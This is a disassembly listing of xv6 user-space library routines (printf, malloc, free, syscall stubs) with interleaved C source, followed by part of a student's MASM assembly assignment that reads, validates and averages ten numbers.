SYSCALL(dup)
3fa: b8 0a 00 00 00 mov $0xa,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <getpid>:
SYSCALL(getpid)
402: b8 0b 00 00 00 mov $0xb,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <sbrk>:
SYSCALL(sbrk)
40a: b8 0c 00 00 00 mov $0xc,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <sleep>:
SYSCALL(sleep)
412: b8 0d 00 00 00 mov $0xd,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <uptime>:
SYSCALL(uptime)
41a: b8 0e 00 00 00 mov $0xe,%eax
41f: cd 40 int $0x40
421: c3 ret
422: 66 90 xchg %ax,%ax
424: 66 90 xchg %ax,%ax
426: 66 90 xchg %ax,%ax
428: 66 90 xchg %ax,%ax
42a: 66 90 xchg %ax,%ax
42c: 66 90 xchg %ax,%ax
42e: 66 90 xchg %ax,%ax
00000430 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 57 push %edi
434: 56 push %esi
435: 53 push %ebx
436: 89 c6 mov %eax,%esi
438: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
43b: 8b 5d 08 mov 0x8(%ebp),%ebx
43e: 85 db test %ebx,%ebx
440: 74 7e je 4c0 <printint+0x90>
442: 89 d0 mov %edx,%eax
444: c1 e8 1f shr $0x1f,%eax
447: 84 c0 test %al,%al
449: 74 75 je 4c0 <printint+0x90>
neg = 1;
x = -xx;
44b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
44d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
454: f7 d8 neg %eax
456: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
459: 31 ff xor %edi,%edi
45b: 8d 5d d7 lea -0x29(%ebp),%ebx
45e: 89 ce mov %ecx,%esi
460: eb 08 jmp 46a <printint+0x3a>
462: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
468: 89 cf mov %ecx,%edi
46a: 31 d2 xor %edx,%edx
46c: 8d 4f 01 lea 0x1(%edi),%ecx
46f: f7 f6 div %esi
471: 0f b6 92 1c 08 00 00 movzbl 0x81c(%edx),%edx
}while((x /= base) != 0);
478: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
47a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
47d: 75 e9 jne 468 <printint+0x38>
if(neg)
47f: 8b 45 c4 mov -0x3c(%ebp),%eax
482: 8b 75 c0 mov -0x40(%ebp),%esi
485: 85 c0 test %eax,%eax
487: 74 08 je 491 <printint+0x61>
buf[i++] = '-';
489: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
48e: 8d 4f 02 lea 0x2(%edi),%ecx
491: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
495: 8d 76 00 lea 0x0(%esi),%esi
498: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
49b: 83 ec 04 sub $0x4,%esp
49e: 83 ef 01 sub $0x1,%edi
4a1: 6a 01 push $0x1
4a3: 53 push %ebx
4a4: 56 push %esi
4a5: 88 45 d7 mov %al,-0x29(%ebp)
4a8: e8 f5 fe ff ff call 3a2 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
4ad: 83 c4 10 add $0x10,%esp
4b0: 39 df cmp %ebx,%edi
4b2: 75 e4 jne 498 <printint+0x68>
putc(fd, buf[i]);
}
4b4: 8d 65 f4 lea -0xc(%ebp),%esp
4b7: 5b pop %ebx
4b8: 5e pop %esi
4b9: 5f pop %edi
4ba: 5d pop %ebp
4bb: c3 ret
4bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
4c0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
4c2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
4c9: eb 8b jmp 456 <printint+0x26>
4cb: 90 nop
4cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004d0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4d0: 55 push %ebp
4d1: 89 e5 mov %esp,%ebp
4d3: 57 push %edi
4d4: 56 push %esi
4d5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4d6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4d9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4dc: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4df: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4e2: 89 45 d0 mov %eax,-0x30(%ebp)
4e5: 0f b6 1e movzbl (%esi),%ebx
4e8: 83 c6 01 add $0x1,%esi
4eb: 84 db test %bl,%bl
4ed: 0f 84 b0 00 00 00 je 5a3 <printf+0xd3>
4f3: 31 d2 xor %edx,%edx
4f5: eb 39 jmp 530 <printf+0x60>
4f7: 89 f6 mov %esi,%esi
4f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
500: 83 f8 25 cmp $0x25,%eax
503: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
506: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
50b: 74 18 je 525 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
50d: 8d 45 e2 lea -0x1e(%ebp),%eax
510: 83 ec 04 sub $0x4,%esp
513: 88 5d e2 mov %bl,-0x1e(%ebp)
516: 6a 01 push $0x1
518: 50 push %eax
519: 57 push %edi
51a: e8 83 fe ff ff call 3a2 <write>
51f: 8b 55 d4 mov -0x2c(%ebp),%edx
522: 83 c4 10 add $0x10,%esp
525: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
528: 0f b6 5e ff movzbl -0x1(%esi),%ebx
52c: 84 db test %bl,%bl
52e: 74 73 je 5a3 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
530: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
532: 0f be cb movsbl %bl,%ecx
535: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
538: 74 c6 je 500 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
53a: 83 fa 25 cmp $0x25,%edx
53d: 75 e6 jne 525 <printf+0x55>
if(c == 'd'){
53f: 83 f8 64 cmp $0x64,%eax
542: 0f 84 f8 00 00 00 je 640 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
548: 81 e1 f7 00 00 00 and $0xf7,%ecx
54e: 83 f9 70 cmp $0x70,%ecx
551: 74 5d je 5b0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
553: 83 f8 73 cmp $0x73,%eax
556: 0f 84 84 00 00 00 je 5e0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
55c: 83 f8 63 cmp $0x63,%eax
55f: 0f 84 ea 00 00 00 je 64f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
565: 83 f8 25 cmp $0x25,%eax
568: 0f 84 c2 00 00 00 je 630 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
56e: 8d 45 e7 lea -0x19(%ebp),%eax
571: 83 ec 04 sub $0x4,%esp
574: c6 45 e7 25 movb $0x25,-0x19(%ebp)
578: 6a 01 push $0x1
57a: 50 push %eax
57b: 57 push %edi
57c: e8 21 fe ff ff call 3a2 <write>
581: 83 c4 0c add $0xc,%esp
584: 8d 45 e6 lea -0x1a(%ebp),%eax
587: 88 5d e6 mov %bl,-0x1a(%ebp)
58a: 6a 01 push $0x1
58c: 50 push %eax
58d: 57 push %edi
58e: 83 c6 01 add $0x1,%esi
591: e8 0c fe ff ff call 3a2 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
596: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
59a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
59d: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
59f: 84 db test %bl,%bl
5a1: 75 8d jne 530 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
5a3: 8d 65 f4 lea -0xc(%ebp),%esp
5a6: 5b pop %ebx
5a7: 5e pop %esi
5a8: 5f pop %edi
5a9: 5d pop %ebp
5aa: c3 ret
5ab: 90 nop
5ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
5b0: 83 ec 0c sub $0xc,%esp
5b3: b9 10 00 00 00 mov $0x10,%ecx
5b8: 6a 00 push $0x0
5ba: 8b 5d d0 mov -0x30(%ebp),%ebx
5bd: 89 f8 mov %edi,%eax
5bf: 8b 13 mov (%ebx),%edx
5c1: e8 6a fe ff ff call 430 <printint>
ap++;
5c6: 89 d8 mov %ebx,%eax
5c8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5cb: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
5cd: 83 c0 04 add $0x4,%eax
5d0: 89 45 d0 mov %eax,-0x30(%ebp)
5d3: e9 4d ff ff ff jmp 525 <printf+0x55>
5d8: 90 nop
5d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
5e0: 8b 45 d0 mov -0x30(%ebp),%eax
5e3: 8b 18 mov (%eax),%ebx
ap++;
5e5: 83 c0 04 add $0x4,%eax
5e8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
5eb: b8 13 08 00 00 mov $0x813,%eax
5f0: 85 db test %ebx,%ebx
5f2: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
5f5: 0f b6 03 movzbl (%ebx),%eax
5f8: 84 c0 test %al,%al
5fa: 74 23 je 61f <printf+0x14f>
5fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
600: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
603: 8d 45 e3 lea -0x1d(%ebp),%eax
606: 83 ec 04 sub $0x4,%esp
609: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
60b: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
60e: 50 push %eax
60f: 57 push %edi
610: e8 8d fd ff ff call 3a2 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
615: 0f b6 03 movzbl (%ebx),%eax
618: 83 c4 10 add $0x10,%esp
61b: 84 c0 test %al,%al
61d: 75 e1 jne 600 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
61f: 31 d2 xor %edx,%edx
621: e9 ff fe ff ff jmp 525 <printf+0x55>
626: 8d 76 00 lea 0x0(%esi),%esi
629: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
630: 83 ec 04 sub $0x4,%esp
633: 88 5d e5 mov %bl,-0x1b(%ebp)
636: 8d 45 e5 lea -0x1b(%ebp),%eax
639: 6a 01 push $0x1
63b: e9 4c ff ff ff jmp 58c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
640: 83 ec 0c sub $0xc,%esp
643: b9 0a 00 00 00 mov $0xa,%ecx
648: 6a 01 push $0x1
64a: e9 6b ff ff ff jmp 5ba <printf+0xea>
64f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
652: 83 ec 04 sub $0x4,%esp
655: 8b 03 mov (%ebx),%eax
657: 6a 01 push $0x1
659: 88 45 e4 mov %al,-0x1c(%ebp)
65c: 8d 45 e4 lea -0x1c(%ebp),%eax
65f: 50 push %eax
660: 57 push %edi
661: e8 3c fd ff ff call 3a2 <write>
666: e9 5b ff ff ff jmp 5c6 <printf+0xf6>
66b: 66 90 xchg %ax,%ax
66d: 66 90 xchg %ax,%ax
66f: 90 nop
00000670 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
670: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
671: a1 c0 0a 00 00 mov 0xac0,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
676: 89 e5 mov %esp,%ebp
678: 57 push %edi
679: 56 push %esi
67a: 53 push %ebx
67b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
67e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
680: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
683: 39 c8 cmp %ecx,%eax
685: 73 19 jae 6a0 <free+0x30>
687: 89 f6 mov %esi,%esi
689: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
690: 39 d1 cmp %edx,%ecx
692: 72 1c jb 6b0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
694: 39 d0 cmp %edx,%eax
696: 73 18 jae 6b0 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
698: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
69a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
69c: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
69e: 72 f0 jb 690 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6a0: 39 d0 cmp %edx,%eax
6a2: 72 f4 jb 698 <free+0x28>
6a4: 39 d1 cmp %edx,%ecx
6a6: 73 f0 jae 698 <free+0x28>
6a8: 90 nop
6a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
6b0: 8b 73 fc mov -0x4(%ebx),%esi
6b3: 8d 3c f1 lea (%ecx,%esi,8),%edi
6b6: 39 d7 cmp %edx,%edi
6b8: 74 19 je 6d3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
6ba: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6bd: 8b 50 04 mov 0x4(%eax),%edx
6c0: 8d 34 d0 lea (%eax,%edx,8),%esi
6c3: 39 f1 cmp %esi,%ecx
6c5: 74 23 je 6ea <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6c7: 89 08 mov %ecx,(%eax)
freep = p;
6c9: a3 c0 0a 00 00 mov %eax,0xac0
}
6ce: 5b pop %ebx
6cf: 5e pop %esi
6d0: 5f pop %edi
6d1: 5d pop %ebp
6d2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
6d3: 03 72 04 add 0x4(%edx),%esi
6d6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6d9: 8b 10 mov (%eax),%edx
6db: 8b 12 mov (%edx),%edx
6dd: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
6e0: 8b 50 04 mov 0x4(%eax),%edx
6e3: 8d 34 d0 lea (%eax,%edx,8),%esi
6e6: 39 f1 cmp %esi,%ecx
6e8: 75 dd jne 6c7 <free+0x57>
p->s.size += bp->s.size;
6ea: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
6ed: a3 c0 0a 00 00 mov %eax,0xac0
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
6f2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6f5: 8b 53 f8 mov -0x8(%ebx),%edx
6f8: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
6fa: 5b pop %ebx
6fb: 5e pop %esi
6fc: 5f pop %edi
6fd: 5d pop %ebp
6fe: c3 ret
6ff: 90 nop
00000700 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
700: 55 push %ebp
701: 89 e5 mov %esp,%ebp
703: 57 push %edi
704: 56 push %esi
705: 53 push %ebx
706: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
709: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
70c: 8b 15 c0 0a 00 00 mov 0xac0,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
712: 8d 78 07 lea 0x7(%eax),%edi
715: c1 ef 03 shr $0x3,%edi
718: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
71b: 85 d2 test %edx,%edx
71d: 0f 84 a3 00 00 00 je 7c6 <malloc+0xc6>
723: 8b 02 mov (%edx),%eax
725: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
728: 39 cf cmp %ecx,%edi
72a: 76 74 jbe 7a0 <malloc+0xa0>
72c: 81 ff 00 10 00 00 cmp $0x1000,%edi
732: be 00 10 00 00 mov $0x1000,%esi
737: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
73e: 0f 43 f7 cmovae %edi,%esi
741: ba 00 80 00 00 mov $0x8000,%edx
746: 81 ff ff 0f 00 00 cmp $0xfff,%edi
74c: 0f 46 da cmovbe %edx,%ebx
74f: eb 10 jmp 761 <malloc+0x61>
751: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
758: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
75a: 8b 48 04 mov 0x4(%eax),%ecx
75d: 39 cf cmp %ecx,%edi
75f: 76 3f jbe 7a0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
761: 39 05 c0 0a 00 00 cmp %eax,0xac0
767: 89 c2 mov %eax,%edx
769: 75 ed jne 758 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
76b: 83 ec 0c sub $0xc,%esp
76e: 53 push %ebx
76f: e8 96 fc ff ff call 40a <sbrk>
if(p == (char*)-1)
774: 83 c4 10 add $0x10,%esp
777: 83 f8 ff cmp $0xffffffff,%eax
77a: 74 1c je 798 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
77c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
77f: 83 ec 0c sub $0xc,%esp
782: 83 c0 08 add $0x8,%eax
785: 50 push %eax
786: e8 e5 fe ff ff call 670 <free>
return freep;
78b: 8b 15 c0 0a 00 00 mov 0xac0,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
791: 83 c4 10 add $0x10,%esp
794: 85 d2 test %edx,%edx
796: 75 c0 jne 758 <malloc+0x58>
return 0;
798: 31 c0 xor %eax,%eax
79a: eb 1c jmp 7b8 <malloc+0xb8>
79c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
7a0: 39 cf cmp %ecx,%edi
7a2: 74 1c je 7c0 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
7a4: 29 f9 sub %edi,%ecx
7a6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
7a9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
7ac: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
7af: 89 15 c0 0a 00 00 mov %edx,0xac0
return (void*)(p + 1);
7b5: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
7b8: 8d 65 f4 lea -0xc(%ebp),%esp
7bb: 5b pop %ebx
7bc: 5e pop %esi
7bd: 5f pop %edi
7be: 5d pop %ebp
7bf: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
7c0: 8b 08 mov (%eax),%ecx
7c2: 89 0a mov %ecx,(%edx)
7c4: eb e9 jmp 7af <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
7c6: c7 05 c0 0a 00 00 c4 movl $0xac4,0xac0
7cd: 0a 00 00
7d0: c7 05 c4 0a 00 00 c4 movl $0xac4,0xac4
7d7: 0a 00 00
base.s.size = 0;
7da: b8 c4 0a 00 00 mov $0xac4,%eax
7df: c7 05 c8 0a 00 00 00 movl $0x0,0xac8
7e6: 00 00 00
7e9: e9 3e ff ff ff jmp 72c <malloc+0x2c>
|
TITLE Program_6a (Program_6a.asm)
; Author: Brian Stamm
; Email: stammbr@onid.oregonstate.edu
; Course: CS 271-400
; Assignment: Assignment 6a
; Due Date: 7.7.15
; Description: This is the final assignment, where the program asks the user
; for 10 numbers, gets the average and sum of those numbers, and then displays
; them back to user. Oh, and it takes the input as a string, converts to an
; int and then back to a string.
; Citation: I feel as if I used alot of the code in Paul2son's demos (6 thru 8
; were most used), and then I used the code from the lecture on Macros.
INCLUDE Irvine32.inc
MIN = 0
MAX = 4294967295
MAXSTRING = 256
;Built off of lecture on Macro's
getString MACRO prompt, varName
push ecx
push edx
mov edx, prompt
call WriteString
mov edx, varName
mov ecx, MAXSTRING-1
call ReadString
pop edx
pop ecx
ENDM
;Built off of lecture on Macro's
displayString MACRO buffer
push edx
mov edx, buffer
call WriteString
pop edx
ENDM
.data
header_1 Byte "Brian Stamm ", 0
header_2 Byte "Assignment 6a ", 0
instruct Byte "Hello! This program will ask you for 10 numbers, and", 0
instruct_2 Byte "the numbers have to be between 0 and 4,294,967,295.",0
instruct_3 Byte "No commas needed. Enjoy!",0
num_prompt Byte "Please enter an unsigned number: ",0
error_mes1 Byte "Error. You entered a number either too big, unsigned, or not a number",0
error_mes2 Byte "Please try again.",0
list_prompt Byte "You entered the following numbers: ",0
sum_prompt Byte "The sum of these numbers are: ",0
ave_prompt Byte "The average of these numbers is: ",0
comma Byte ", ",0
numberStr Byte 256 DUP(0)
printStr Byte 11 DUP(0)
array Dword 10 DUP(0)
userNum Dword 0
sum Dword 0
average Dword 0
errorN DWord 0
.code
main PROC
push OFFSET header_1 ;24
push OFFSET header_2 ;20
push OFFSET instruct ;16
push OFFSET instruct_2 ;12
push OFFSET instruct_3 ;+8
call introduction
call CrLf
mov ecx, 10
mov esi, OFFSET array
fillArray:
push ecx ;Saved for later, not used in readVal
push esi ;ditto
push MAX ;32
push MIN ;28
push OFFSET userNum ;24
push OFFSET errorN ;20
push MAXSTRING ;16
push OFFSET numberStr ;12
push OFFSET num_prompt ;8
call readVal ;Used to get get the value, and then check done in other procedures
mov eax, 1
cmp eax, errorN ;Used to check error
je errorLoop
pop esi ;If not, then get the address of array
mov eax, userNum ;Saves number in an array
mov [esi], eax
add esi, 4 ;and move to next number
pop ecx
loop fillArray
jmp overError ;and Jump over when done with loop
errorLoop:
displayString OFFSET error_mes1 ;Error message
call CrLf
displayString OFFSET error_mes2
call CrLf
mov errorN, 0 ;And reset everything
pop esi
pop ecx
jmp fillArray ;And jump so not to mess with loop
overError:
push OFFSET sum ;+16
push OFFSET average ;+12
push OFFSET array ;+8
call mathTime
call CrLf
push OFFSET list_prompt ;+36
push OFFSET sum_prompt ;32
push OFFSET ave_prompt ;28
push OFFSET comma ;24
push sum ;20
push average ;16
push OFFSET printStr ;12
push OFFSET array ;8
call writeVal
call CrLf
exit
main ENDP
;This is introduction. It prints out the greeting message and instructions
;receives: Address of header_1, header_2, instruct, instruct_2, instruct_3.
;returns: None.
;precond: Needs a macro call displayString.
;registers changed: None.
introduction PROC
push ebp
mov ebp, esp
displayString [ebp+24] ;header_1
displayString [ebp+20] ;header_2
call CrLF
call CrLf
displayString [ebp+16] ;instruct
call CrLf
displayString [ebp+12] ;instruct_2
call CrLf
displayString [ebp+8] ;instruct_3
call CrLf
pop ebp
ret 20
introduction ENDP
;This is readVal, it gets the input from the user, then passes input to validString
; to check to make sure number, then passes to string2Int to see if number in range.
; If it clears, errorN not changed. If there's an error, errorN was changed.
;receives: MAX, MIN, @userNum, @errorN, MAXSTRING, @numberStr, @num_prompt
;returns: Can change @userNum, @errorN, @numberStr
;precond: Needs macros getString, and needs validString & string2Int. No pushing
; needed.
;registers changed: eax, ebx.
readVal PROC
push ebp
mov ebp, esp
getString [ebp+8], [ebp+12] ;num_prompt, numberStr
call validString
mov eax, 1 ;Checks the errorN
mov ebx, [ebp+20] ;errorN
cmp eax, [ebx]
je endRV ;If error, just go to end
call string2Int
endRV:
pop ebp
ret 28
readVal ENDP
;This is validString. It makes sure that all inputs are numbers
;receives: retrieves off stack - @errorN, MAXSTRING, @numberStr
;returns: Possibly changes to @errorN.
;precond: Stack hasn't changed from readVal
;registers changed: ecx, esi, edi, eax, edx, ebx
validString PROC
push ebp
mov ebp, esp
mov ecx, [ebp+24] ;MAXSTRING
mov esi, [ebp+20] ;numberStr
mov edi, [ebp+20] ;numberStr again, to make sure still have the string
cld
validCount:
lodsb ;Loads a single byte into al reg
cmp al, 1 ;Done to see if end of the string
jl valCheck
cmp al, "0" ;Compares each byte to ascii values, if above or below, error
jb notNumber
cmp al, "9"
ja notNumber
stosb
loop validCount
jmp valCheck
notNumber: ;Loop to change errorN
mov edx, [ebp+28] ;errorN
mov ebx, 1
mov [edx], ebx ;Changes value of errorN
jmp valDone
valCheck:
mov ebx, 245 ;Checkes the size of the int
cmp ebx, ecx ;if this big, it's out of range, checked pre-emptively
jae notNumber
valDone:
pop ebp
ret ;Nothing put on stack, so nothing returned
validString ENDP
;This makes a string into an int.
;receives: MAX, MIN, @userNum, @errorN, MAXSTRING, @numberStr.
;returns: Possible changes to userNum and errorN
;precond: Values pushed on stack stay the same from readVal.
;registers changed: esi, ecx, edx, eax, ebx.
string2Int PROC
push ebp
mov ebp, esp
